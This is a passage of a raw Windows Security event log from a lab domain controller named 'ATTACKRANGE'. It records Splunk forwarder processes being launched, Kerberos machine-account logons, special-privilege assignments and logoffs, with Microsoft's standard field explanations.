ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:51:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256841 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x784 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:51:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256842 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:51:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256843 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:51:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256844 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x137c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:51:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256846 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x46EC5F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49295 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:51:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256845 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x46EC5F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:51:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256848 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x46F38D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {68513207-EE9F-7088-7C79-4A7797658EB5} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:51:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256847 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x46F38D - -Privileges: SeAuditPrivilege - SeImpersonatePrivilege - SeAssignPrimaryTokenPrivilege -03/12/2021 01:51:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256849 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x46EC5F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:51:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256852 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x46FE76 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:51:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256851 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x46FE76 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59124 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:51:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256850 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x46FE76 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:52:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256858 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x47018E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:52:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256857 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x47018E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59128 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:52:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256856 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x47018E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:52:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256855 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x470122 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:52:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256854 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x470122 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59127 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:52:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256853 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x470122 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:52:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256859 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:52:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256860 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb5c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:52:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256861 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1274 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256875 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x471816 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256874 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x471926 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256873 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x471970 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:52:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256872 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4719F2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59134 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services 